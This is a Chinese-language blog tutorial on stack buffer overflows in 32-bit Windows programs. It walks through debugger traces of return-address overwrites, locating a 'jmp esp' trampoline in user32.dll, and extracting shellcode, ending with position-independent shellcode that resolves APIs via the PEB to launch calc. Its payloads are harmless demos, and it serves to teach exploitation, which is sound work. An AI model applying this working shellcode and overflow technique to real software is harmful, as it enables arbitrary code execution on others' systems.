【緩衝區溢出】棧溢出原理 | 簡單shellcode編寫

 

一、Buffer Overflow Vulnerability

 

ESP:該指針永遠指向系統棧最上面一個棧幀的棧頂

EBP:該指針永遠指向系統棧最上面一個棧幀的底部

緩衝區溢出漏洞的原理就是因爲輸入了過長的字符,而緩衝區本身又沒有有效的驗證機制,導致過長的字符將返回地址覆蓋掉了,當函數需要返回的時候,由於此時的返回地址是一個無效地址,因此導致程序出錯。

        那麼依據這個原理,假設所覆蓋的返回地址是一個有效地址,而在該地址處又包含着有效的指令,那麼系統就會毫不猶豫地跳到該地址處去執行指令。因此如果想利用緩衝區溢出的漏洞,就可以構造出一個有效地址出來,然後把想讓計算機執行的代碼寫到該地址,這樣一來,就通過程序的漏洞,讓計算機執行了攻擊者編寫的程序。

ShellCode究竟是什麼呢,其實它就是一些編譯好的機器碼,將這些機器碼作爲數據輸入,然後通過我們之前所講的方式來執行ShellCode,這就是緩衝區溢出利用的基本原理。

 

二、通過實驗理解 buffer overflow

先寫個正常程序,buffer數組長度爲8個字節,payload[]也是8個字節長,能夠正常輸出。

#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaa";
int main(){
	char buffer[8];
	strcpy(buffer,payload);
	printf("%s",buffer);
	getchar();
	return 0;
}

再來個棧溢出代碼,payload[] 長度爲12個字節,程序也能夠正常輸出,完整輸出。

#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaaEBPX";
int main(){
	char buffer[8];
	strcpy(buffer,payload);
	printf("%s",buffer);
	getchar();
	return 0;
}

但程序底層真的正常執行了嗎?可以用 x32dbg 先加載之前正常的程序看看,用 OD 或者 x32dbg 加載一個 PE 時,一開始一般不會定位到 main 函數,這很簡單不需要解釋,此時可以配合用 IDA 查main函數開始地址也行,然後在 x32dbg 中定位到 main 函數的地址,同時要注意堆棧區的變化。

如下一開始加載進去,並不會定位到main函數。

通過 IDA 來定位。

既然 main 也是一個函數,那麼肯定也有調用它的地方,看看唄,可以看到跳轉過來的指令是 0x401014 處的 jmp _main_0 指令,注意 jmp 是跳轉並非是調用(CALL),因此需要找到具體 CALL main函數的指令地址,利用 IDA 的交叉引用就很簡單了。

找到跳轉到 main() 的地址,不多逼逼 ctrl + x 就行,能夠看到 0x401254 纔是真正調用 main 函數的地址。

找到調用 main 函數的地址有什麼用呢,棧溢出就是與棧相關,本文的測試也是利用修改main函數的返回地址來實現的,因此需要研究 main 函數調用前後棧的變化。

在 x32dbg 中來到調用 main函數地址 0x401254 處,要記住下面指令的地址 0x401259,因爲當 main 函數執行完畢會返回到 0x401259 地址處繼續執行程序,參考下面第二張圖也就是執行到main函數地址時的堆棧區返回到哪兒,堆棧區 0x12FF4C 處保存的就是待會兒程序執行完要返回到的地址 0x401259,很簡單不解釋。

簡單來說就是因爲我們的程序在進入每一個CALL之前,都會首先將CALL下面那條語句的地址入棧,然後再執行CALL語句。這樣當CALL執行完後,程序再將該地址出棧,這樣就能夠知道下一步應該執行哪條指令。我們一般也將這個地址稱爲“返回地址”,它告訴程序:“CALL執行完後,請執行這個地址處的語句。”
我說的是真話還是屁話呢,F7進去看看真假。呵呵看到了吧,棧頂上移四字節,看ESP也知道。這就是 CALL 語句對於棧空間的影響,而這個已經入棧的返回地址 0x401259 在後面的漏洞利用中至關重要。

再 F7 一下進入 main 函數進行分析。

看看系統給 buffer 分配了多大的棧空間,用紅框標出來了,喲嚯,0x4C 個bit,9個字節多一點。

繼續往下執行,看到如下系統用 0xCC 填充了 ,程序爲了容錯性與保持自身的健壯性,於是利用 0xCC,即 int 3 斷點來填充滿這段區域,這樣一來,如果有未知的程序跳到這片區域,就不會出現崩潰的情況,而是直接斷下。這個問題與緩衝區溢出沒什麼關係,知道即可。

繼續向下運行找到 strcpy 函數,下面要觀察 strcpy 函數執行前後棧空間的變化。首先用正常程序繼續執行過該函數,實際上8個a也不屬於正常程序了,7個纔算正常程序,因爲C數組最後一個元素默認以 \0 結尾,因此此處也是衝破了棧區造成了溢出,雖然只是覆蓋了 0x12FF88 的最後一個字符變成了 0x12FF00,這個 00 就是 \0 造成的。strcpy 的第二個參數,就是所接收的字符串所保存的地址位置,其保存位置爲 0x12FF40。棧中的地址 0x12FEE8 位置處,保存的是 strcpy 第二個參數的地址,OD 解析出了,其內容爲 "aaaaaaaa"。而此時看 0x12FF40 處,確實已經保存了“aaaaaaaa”這段字符串。

上圖可見棧地址 0x12FF48 處原來的地址被覆蓋了,四個字符雖然只被覆蓋了一個,但也是被修改了,如果 payload 寫的足夠長呢,比如像下面這樣,這樣直接連 0x12FF4C 處保存的返回地址都修改了,這個地址是main函數執行完畢後要跳轉到的地址以繼續執行程序,因此到現在爲止應該對利用方法清晰了吧。

也就是說,由於輸入的字符串過長,使得原本位於棧地址 0x12FF48 處保存的的父函數的 EBP 以及原本位於棧地址 0x12FF4C 處的函數返回地址全都被改寫了。棧溢出的關鍵點來了,就是位於 0x12FF4C 處的返回地址,原來它所保存的值爲0x401259,也就告訴了程序,在執行完 main 函數後,需要執行該地址處的指令。可是現在那個棧中的內容被破壞了,變成了比如上圖中的 0x61686168,那麼當 main函數執行完畢後,程序會跳到地址 0x61686168 處繼續執行。

那麼會發生什麼問題呢?可以執行過 main 函數返回處,看看會發生什麼,可以看到 OD 直接就炸了,因爲根本不存在這個地址。

至此,大家應該已經瞭解了緩衝區溢出漏洞的原理,它就是因爲我們輸入了過長的字符,而緩衝區本身又沒有有效的驗證機制,導致過長的字符將返回地址覆蓋掉了,當我們的函數需要返回的時候,由於此時的返回地址是一個無效地址,因此導致程序出錯。

那麼依據這個原理,假設我們所覆蓋的返回地址是一個有效地址,而在該地址處又包含着有效的指令,那麼我們的系統就會毫不猶豫地跳到該地址處去執行指令。因此,如果想利用緩衝區溢出的漏洞,我們就可以構造出一個有效地址出來,然後將我們想讓計算機執行的代碼寫入該地址,這樣一來,我們就通過程序的漏洞,讓計算機執行了我們自己編寫的程序。

 

>> 下面快速做一遍

堆棧區 0x12FF48 地址處保存的是父函數的 EBP,0x12FF4C 保存的是函數返回地址。

單步,發現 ESP發生了變化

再次單步

執行過 strcpy函數,觀察堆棧區變化,剛纔已經說過 12FF48 處保存的是父函數的 EBP 12FF88,12FF4C 保存的是函數返回地址,而此時 12FF48 處的數據發生了改變,說明 aaaaaaaaEBPX 這個 payload 衝破了 12FF48 這個地址,將字符串 EBPX 壓到了棧裏面,說明已經通過棧溢出改變了指令,修改了原本保存在 12FF48 中的指令。

可以再次驗證一下,嘗試衝破 12FF4C 這個地址,也就是說嘗試修改其中原本保存的數據,加長一下 payload

再次執行上述步驟觀察堆棧區變化,發現棧溢出。

 

>> 由於地址是由 4 個字節表示的,那麼對於這個程序而言,如果我將全局變量 name 賦值爲 “123456123456XXXX”,那麼這最後的四個“X”就正好覆蓋了返回地址,而前面的12個字符可以是任意字符,這個通過上面的實驗也知道,很簡單。那麼我們也就解決了緩衝區漏洞利用的第一個問題——精確定位返回地址的位置。搞清楚了原理,如何判斷一個程序具體的棧溢出位置呢??或者說如何判斷一個程序某個變量的緩衝區大小呢??以下的方法來自姜曄大牛的博客(利用了程序執行時的彈窗警告錯誤提示,新系統很少有信息提示了)。

-----------START

但是這裏還有一個問題需要說明的是,我們這個程序中的局部變量,也就是buffer只有8個字節,因此很容易就能夠被填充滿,從而很容易就能夠被定位,但是如果緩衝區空間很大,該如何定位呢?不能還是一直以“jiangyejiangye……”這樣不斷地測試下去吧。其實定位溢出位置的方法有很多,在此可以告訴大家一個便於初學者理解的方法,我們可以利用一長串各不相同的字符來進行測試,比如:

        TestCode[]= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

        利用26個英文大寫字符與26個小寫字符,一共是52個字母進行測試,這樣一來,一次就可以驗證52個字節的緩衝區空間。這裏將我們的局部變量數組的大小修改爲80個字節,然後利用這個方法進行驗證。首先測試一段上述字符,可見程序沒有什麼變化,那麼我們就再加上一段,變成104個字符進行驗證,可見此時已經彈出了錯誤提示對話框:

 在Address後可以發現,其值爲0x6a696867,注意我們的系統是小端顯示,也就是說,實際的字符應該是0x67、0x68、0x69、0x6a。那麼把它轉換成字母,可以知道是g、h、i、j,由於我們這裏是使用了兩輪驗證字符,第一輪是52個字符,加上第二輪的前26個大寫字符,就是78個字符,然後小寫字母g前面還有6個字符,那就是84個字符,注意這裏還包含4個字節的EBP,所以我們所驗證的緩衝區的大小就是80個字節的空間了。

        關於其它的一些判斷緩衝區空間大小的方法,我們會在以後的實際分析中再進行講解。我覺得大家目前懂得這個辦法就可以了。甚至還可以將鍵盤上的標點符號也加到TestCode裏面,可以按照ASCII碼錶的順序進行排列,這樣一次就能夠驗證更多的空間了。
------------------END

到此爲止,判斷緩衝區空間的大小也知道了,也就是說在棧空間的具體哪個地址處覆蓋函數原來的返回地址已經知道了,那麼作爲攻擊者來說,下一步就是要尋找一個合適的地址,用於覆蓋函數原始返回地址。
針對現在這個已知 buffer 大小的程序來說,現在需要做的工作是確定“123456123456XXXX”中的最後四個“X”應該是什麼地址。這裏我們不能憑空創造一個地址,而是應該基於一個合法地址的基礎之上。當然我們通過在 OD 中的觀察,確實能夠找到很多合適的地址,但是不具有通用性,畢竟要找一個確切的地址還是不那麼方便的。解決這個問題的方法有很多種,最爲常用最爲經典的,就是“jmp esp”方法,也就是利用跳板進行跳轉
這裏的跳板是程序中原有的機器代碼,它們都是能夠跳轉到一個寄存器內所存放的地址進行執行,如 jmp esp、call esp、jmp ecx、call eax 等等。如果在函數返回的時候,CPU內的寄存器 剛好直接或者間接指向 ShellCode 的開頭,這樣就可以把堆棧內存放的函數返回地址的那一個元素覆蓋爲相應的跳板地址。如下圖執行到了 main 函數 ret 指令處。

總結一下,我們可以得知,當main函數執行完畢的時候,esp的值會自動變成返回地址的下一個位置,而esp的這種變化,一般是不受任何情況影響的。既然我們知道了這一個特性,那麼其實就可以將返回地址修改爲 esp 所保存的地址,也就是說,我們可以讓程序跳轉到esp所保存的地址中,去執行我們所構造的指令,以便讓計算機執行。也就說明了,我們完全可以利用esp的這一特性來做文章。並不會受到程序異常的影響。函數返回 ret 執行完畢 esp 自動 +4 的特性是關鍵中的關鍵,因爲接下來的 shellcode 的編寫中,覆蓋的函數地址與shellcode功能代碼是連接在一起的,不是斷開的。

那麼如何讓程序跳轉到esp的位置呢?我們這裏可以使用“jmp esp”這條指令。jmp esp的機器碼是0xFFE4,那麼我們可以編寫一個程序,來在 user32.dll 中查找這條指令的地址,繼續往下看。

 

三、shellcode 編寫

該 shellcode 的功能是改變程序的執行流程,修改main的返回地址,使得程序彈出一個對話框然後正常退出程序。需要用到的有兩個函數 MessageBoxA 和 exitProcess,因此首先通過三段簡單的代碼獲取兩個函數的地址以及一個可以利用的 jmp esp 的 OPCODE-機器碼 地址。OPCODE 就是將來要提取的 shellcode。

1、獲取三個函地址 

首先第一個程序用來找 DLL 內的一個 jmp esp 指令的地址,可以看到列出了非常多的結果,可以隨便取出一個地址,把這個指令放在函數返回的地方,就可以作爲跳板,執行接下來攻擊者寫的主代碼。一句話現在就是在 DLL中尋找一條 jmp esp 指令然後將其地址返回給我們。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
	BYTE *ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary("user32.dll");
	if(!handle){ // 如果句柄獲取失敗
		printf("Load DLL error!\n");
		exit(0); // 退出程序
	}
	ptr = (BYTE*)handle; // 強制轉換成 BYTE 類型的指針

	for(position=0; !done_flag; position++){ // 細品
		try{
			if(ptr[position]==0xFF && ptr[position+1]==0xE4){
				int address = (int)ptr + position;
				printf("OPCODE found at 0x%x\n", address);
			}
		}catch(...){
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}
	}
	getchar();
	return 0;
}

隨便記住一個 jmp esp 的地址,然後編寫第二段代碼獲取函數 MessageBoxA 的地址

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("user32");
	printf("user32 = 0x%x\n", LibHandle);
	ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
	printf("MessageBoxA = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}

由結果可知,MessageBoxA 在我的系統中的地址爲 0x74154430,當然這個地址在不同的系統中,應該是不同的,所以在編寫ShellCode 之前,一定要先查找所要調用的 API函數 的地址。記住 MessageBoxA 的地址,然後寫第三段代碼,用來獲取函數 exitProcess 的地址。

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);

int main(){
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("kernel32");
	printf("kernel32 = 0x%x\n", LibHandle);
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
	printf("ExitProcess = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}

調用 exitProcess 的原因:由於我們利用溢出操作破壞了原本的棧空間的內容,這就可能會在我們的對話框顯示完後,導致程序崩潰,所以爲了謹慎起見,我們這裏還需要使用 ExitProcess() 函數來令程序終止。

到此爲止三個要利用的地址已經獲取完畢了,進入第二步。

2、用匯編編寫彈窗程序

接下來需要編寫欲執行的代碼,一般有兩種方式——C語言編寫以及彙編編寫,不論採用哪種方式,最後都需要轉換成機器碼。

注意四個字符填充一個字節,不滿的要用 \x20 填充,這裏之所以需要以 \x20 進行填充,而不是 \x00 進行填充,就是因爲我們現在所利用的是 strcpy 的漏洞,而這個函數只要一遇到 \x00 就會認爲我們的字符串結束了,就不會再拷貝 \x00 後的內容了。所以這個是需要特別留意的。同時要注意“小端存儲模式”。

#include "windows.h"
int main(){
	// 調用了 user32 中的函數,所以需要加載 user32,幾乎所有 win32 應用都會加載這個庫
	LoadLibrary("user32.dll"); 
	// 內聯彙編
	_asm{
		sub esp,0x50	// 爲了讓shellcode有較強的通用性,一般shellcode一開始會大範圍提高棧頂
						// 把 shellcode 藏在棧內,從而達到保護自身安全的目的
		xor ebx,ebx		// 將 ebx 清0
		push ebx
		push 0x2020206f	//    o
		push 0x6c6c6568 // lleh  push一個hello當做標題,push的時候不夠了要用0x20填充爲空
		mov eax,esp		// 把標題 hello 賦值給 eax
		push ebx		// ebx 壓棧,ebp爲0,作用是將兩個連續的hello斷開,因爲下面又要壓一個hello作爲彈框內容
		push 0x2020206f	// 再push一個hello當做內容
		push 0x6c6c6568 
		mov ecx,esp		// 把內容 hello 賦值給 ecx,esp 指向了當前的棧指針地址,所以可以賦值
		
		// 下面就是將MessageBox的參數壓棧
		push ebx		// messageBox 第四個參數
		push eax		// messageBox 第三個參數
		push ecx		// messageBox 第二個參數
		push ebx		// messageBox 第一個參數

		mov eax,0x74154430	// messageBox 函數地址賦值給 eax
		call eax			// 調用 messageBox
		push ebx			// 壓個0
		mov eax,0x76a758f0	// exitProcess 函數地址賦值給 eax
		call eax			// 調用 exitProcess
	}
	return 0;
}

3、利用工具對上面的彙編代碼進行提取,改爲 shellcode 代碼

用 x32dbg 加載程序,可以配合 IDA 找到編寫的彙編代碼的地址,確定了之後就進行機器碼的提取,IDA提取機器碼是很方便的,在提取病毒特徵碼時也會用到。說白了提取shellcode就是提取代碼對應的OPCODE也就是機器碼。

可以如上在IDA設置調出 OPCODE顯示,然後提取,每個字符需要加上 \x,我是從下面開始提取的,注意寫成一行和分開很多行的效果是一樣的,注意最後加分號即可,因爲相當於是一條語句。

光這樣還不行,因爲沒有加入 jmp esp 指令跳轉到我們的指令,改成如下醬紫,使得函數返回時直接跳轉到我們的shellcode內運行。

 

4、最終的 shellcode 程序

核心思路是編寫 shellcode 到相應的緩衝區中,至此可以先總結一下我們即將要編寫的數組中的內容,經過分析可以知道,其形式爲“123456123456XXXXSSSS……SSSS”。其中前12個字符爲任意字符,XXXX爲返回地址(jmp esp 的地址),而 SSSS……SSSS 則是具體想讓計算機執行的代碼。

#include"stdio.h"
#include"string.h"
#include"windows.h"
char name[] = "aaaaaaaaEBPX"// 覆蓋緩衝區以及父函數的 EBP
"\xe9\x7b\x2a\x75"
"\x33\xDB"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xC4"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x30\x44\x15\x74"
"\xFF\xD0";
int main(){
	LoadLibrary("user32.dll");
	char buffer[8];
	strcpy(buffer, name);
	printf("%s", buffer);
	getchar();
	return 0;
}

或者如下的形式都可以,一行和多行沒有功能上的區別,只是語法的區別。

#include<stdio.h>
#include<windows.h>
char payload[]="aaaaaaaaebpx\xe9\x7b\x2a\x75\x33\xDB\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xCC\x53\x50\x51\x53\xB8\x70\x1F\x99\x74\xFF\xD0\x53\xB8\x30\x44\x15\x74\xFF\xD0";
int main()
{
 LoadLibrary("user32.dll");
 char buffer[8];
 strcpy(buffer,payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

 

四、如何編寫通用的 shellcode ?

前面編寫的 ShellCode,是採用“硬編址”的方式來調用相應API函數的。也就是說,要首先獲取所要使用函數的地址,然後將該地址寫入 ShellCode,從而實現調用。這種方式對於所有的函數,通用性都是相當地差,如果系統的版本變了,那很多函數的地址往往都會發生變化,那麼調用肯定就會失敗了。所以編寫通用的 shellcode 的關鍵就是讓 shellcode 能夠動態地尋找相關 API 函數的地址,從而解決通用性的問題。
 

還是針對之前的彈框功能,需要用到三個函數:

user32.dll    —— MessageBoxA()

kernel32.dll —— ExitProcess()

kernel32.dll —— LoadLibraryA()

因爲所有的 win32 程序都會自動加載 kernel32.dll,因此無需手動加載,但是user32.dll 並不會自動加載,因此需要用到 kernel32.dll 中的 LoadLibraryA() 來手動加載到程序中。

爲了 shellcode 更通用能被大多數緩衝區容納,因此 shellcode 要儘可能地短。在系統中搜索 API 函數名的時候,一般情況下並不會使用諸如“LoadLibraryA”這麼長的字符串直接進行比較查找,而是首先會對函數名進行 hash 運算,而在系統中搜索所要使用的函數時,也會先對系統中的函數名進行hash運算,這樣只需要比較二者的hash值就能夠判定目標函數是不是我們想要查找的了。這樣會引入額外的hash算法,但是卻可以節省出存儲函數名字的空間,通過 hash 算法,我們能夠將任意長度的函數名稱變成四個字節(DWORD)的長度。

>> 下面的程序用來計算以上三個API函數的 hash

#include<stdio.h>
#include<windows.h>
DWORD GetHash(char *fun_name){
	DWORD digest = 0;
	while(*fun_name){
		digest = ((digest << 25) | (digest >> 7));
		digest += *fun_name;
		fun_name++;
	}
	return digest;
}
int main(){
	DWORD hash;
	hash = GetHash("MessageBoxA");
	printf("The hash of MessageBoxA is 0x%.8x\n", hash);
	hash = GetHash("ExitProcess");
	printf("The hash of ExitProcess is 0x%.8x\n", hash);
	hash = GetHash("LoadLibraryA");
	printf("The hash of LoadLibraryA is 0x%.8x\n", hash);
	getchar();
	return 0;
}

hash算法如下,也比較簡單。

>> 下面就可以編寫彙編代碼,首先是讓函數的hash值入棧:

push 0x1e380a6a ; MessageBoxA的hash值
push 0x4fd18963 ; ExitProcess的hash值
push 0x0c917432 ; LoadLibraryA的hash值
mov esi,esp     ; esi保存的是棧頂第一個函數,即LoadLibraryA的hash值

>> 然後編寫用於計算hash值的代碼,這樣通過循環,就能夠計算出函數名稱的hash值:

hash_loop:
    movsx eax,byte ptr[esi] // 每次取出一個字符放入eax中
    cmp al,ah               // 驗證eax是否爲0x0,即結束符
    jz compare_hash         // 如果上述結果爲零,說明hash值計算完畢,則進行hash值的比較
    ror edx,7               // 如果cmp的結果不爲零,則進行循環右移7位的操作
    add edx,eax             // 將循環右移的值不斷累加
    inc esi                 // esi自增,用於讀取下一個字符
    jmp hash_loop           // 跳到hash_loop的位置繼續計算

>> 進一步,由於需要動態獲取 LoadLibraryA() 以及 ExitProcess() 的地址,因此這裏需要先找到 kernel32.dll 的地址。方法也比較簡單,可以配合 windbg 來手動觀察,詳見《通過 PEB 隱藏導入表》https://blog.csdn.net/Cody_Ren/article/details/79965858

mov     ebx,fs:[edx+0x30]  // [TEB+0x30]是PEB的位置  
mov     ecx,[ebx+0xC]      // [PEB+0xC]是PEB_LDR_DATA的位置  
mov     ecx,[ecx+0x1C]     // [PEB_LDR_DATA+0x1C]是InInitializationOrderModuleList的位置  
mov     ecx,[ecx]          // 進入鏈表第一個就是ntdll.dll  
mov     ebp,[ecx+0x8]      // ebp保存的是kernel32.dll的基地址

>> 既然已經找到了 kernel32.dll 文件的地址,由於它也是屬於PE文件,那麼我們可以根據PE文件的結構特徵,對其導出表進行解析,不斷遍歷搜索,從而找到我們所需要的API函數。其步驟如下:

//====在PE文件中查找相應的API函數====
find_functions:
	pushad					//保護所有寄存器中的內容
	mov eax,[ebp+0x3C]		//PE頭
	mov ecx,[ebp+eax+0x78]	//導出表的指針
	add ecx,ebp
	mov ebx,[ecx+0x20]		//導出函數的名字列表
	add ebx,ebp
	xor edi,edi				//清空edi中的內容,用作索引
//====循環讀取導出表函數====
next_function_loop:
	inc edi					//edi不斷自增,作爲索引
	mov esi,[ebx+edi*4]		//從列表數組中讀取
	add esi,ebp				//esi保存的是函數名稱所在地址
	cdq						//把edx的每一位置成eax的最高位,再把edx擴展爲eax的高位,即變爲64位

至此所有彙編代碼就編寫完畢,可以提取 shellcode 了。下面貼出調用系統計算器的彙編代碼:

int main(){
	__asm
	{
			push ebp;
			mov esi, fs:0x30;            //PEB  
			mov esi, [esi + 0x0C];   //+0x00c Ldr              : Ptr32 _PEB_LDR_DATA  
			mov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY  
		next_module:
			mov ebp, [esi + 0x08];
			mov edi, [esi + 0x20];
			mov esi, [esi];
			cmp[edi + 12 * 2], 0x00;
			jne next_module;
			mov edi, ebp; //BaseAddr of Kernel32.dll

			//尋找GetProcAddress地址  
			sub esp, 100;
			mov ebp, esp;
			mov eax, [edi + 3ch];//PE頭  
			mov edx, [edi + eax + 78h]
				add edx, edi;
			mov ecx, [edx + 18h];//函數數量  
			mov ebx, [edx + 20h];
			add ebx, edi;
		search:
			dec ecx;
			mov esi, [ebx + ecx * 4];
			add esi, edi;
			mov eax, 0x50746547;
			cmp[esi], eax;
			jne search;
			mov eax, 0x41636f72;
			cmp[esi + 4], eax;
			jne search;
			mov ebx, [edx + 24h];
			add ebx, edi;
			mov cx, [ebx + ecx * 2];
			mov ebx, [edx + 1ch];
			add ebx, edi;
			mov eax, [ebx + ecx * 4];
			add eax, edi;
			mov[ebp + 76], eax;//eax爲GetProcAddress地址  

			//獲取LoadLibrary地址  
			push 0;
			push 0x41797261;
			push 0x7262694c;
			push 0x64616f4c;
			push esp
				push edi
				call[ebp + 76]
				mov[ebp + 80], eax;

			//獲取ExitProcess地址  
			push 0;
			push 0x737365;
			push 0x636f7250;
			push 0x74697845;
			push esp;
			push edi;
			call[ebp + 76];
			mov[ebp + 84], eax;

			////////////////////////////////////////////我的代碼開始  

			//獲取Sleep地址  
			push 0x70;
			push 0x65656C53;
			push esp;
			push edi;
			call[ebp + 76];
			mov[ebp + 88], eax;

			//Sleep(10000)  
			//push 0xFFFFFFFF;
			//call[ebp + 88];


			///////////////////////////////////////////我的代碼結束  

			//加載msvcrt.dll   LoadLibrary("msvcrt")  
			push 0;
			push 0x7472;
			push 0x6376736d;
			push esp;
			call[ebp + 80];
			mov edi, eax;

			//獲取system地址  
			push 0;
			push 0x6d65;
			push 0x74737973;
			push esp;
			push edi;
			call[ebp + 76];
			mov[ebp + 92], eax;

			//system("calc")  
			push 0;
			push 0x636c6163;
			push esp;
			call[ebp + 92];

			//ExitProcess  
			call[ebp + 84];
	}
}

提取 shellcode:

#include<stdio.h>
#include<windows.h>

unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00"
"\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e"
"\x08\x8b\x7e\x20\x8b\x36\x80\x7f"
"\x18\x00\x75\xf2\x8b\xfd\x83\xec"
"\x64\x8b\xec\x8b\x47\x3c\x8b\x54"
"\x07\x78\x03\xd7\x8b\x4a\x18\x8b"
"\x5a\x20\x03\xdf\x49\x8b\x34\x8b"
"\x03\xf7\xb8\x47\x65\x74\x50\x39"
"\x06\x75\xf1\xb8\x72\x6f\x63\x41"
"\x39\x46\x04\x75\xe7\x8b\x5a\x24"
"\x03\xdf\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x03\xdf\x8b\x04\x8b\x03\xc7"
"\x89\x45\x4c\x6a\x00\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\x54\x57\xff\x55"
"\x4c\x89\x45\x50\x6a\x00\x68\x65"
"\x73\x73\x00\x68\x50\x72\x6f\x63"
"\x68\x45\x78\x69\x74\x54\x57\xff"
"\x55\x4c\x89\x45\x54\x6a\x70\x68"
"\x53\x6c\x65\x65\x54\x57\xff\x55"
"\x4c\x89\x45\x58\x6a\x00\x68\x72"
"\x74\x00\x00\x68\x6d\x73\x76\x63"
"\x54\xff\x55\x50\x8b\xf8\x6a\x00"
"\x68\x65\x6d\x00\x00\x68\x73\x79"
"\x73\x74\x54\x57\xff\x55\x4c\x89"
"\x45\x5c\x6a\x00\x68\x63\x61\x6c"
"\x63\x54\xff\x55\x5c\xff\x55\x54"
"";
void fun(char *str)
{
	char buffer[4];
	memcpy(buffer, str, 16);
}
 
int main()
{
	char badStr[] = "000011112222333344445555";
	DWORD *pEIP = (DWORD*)&badStr[8];
	*pEIP = (DWORD)&shellcode[0];//拿到字符數組的第一個元素並獲取它的地址
	fun(badStr);
 
	return 0;
}

關鍵在於寫出實現功能的彙編代碼,然後轉換成shellcode即可。

 

參考:

https://blog.csdn.net/ioio_jy/article/details/48316157

https://www.bilibili.com/video/av48022107?from=search&seid=16715007958479792281

https://wizardforcel.gitbooks.io/q-buffer-overflow-tutorial/content/17.html

 

 

 

 

 

 

 

 

 

 

發佈了66 篇原創文章 · 獲贊 30 · 訪問量 2萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章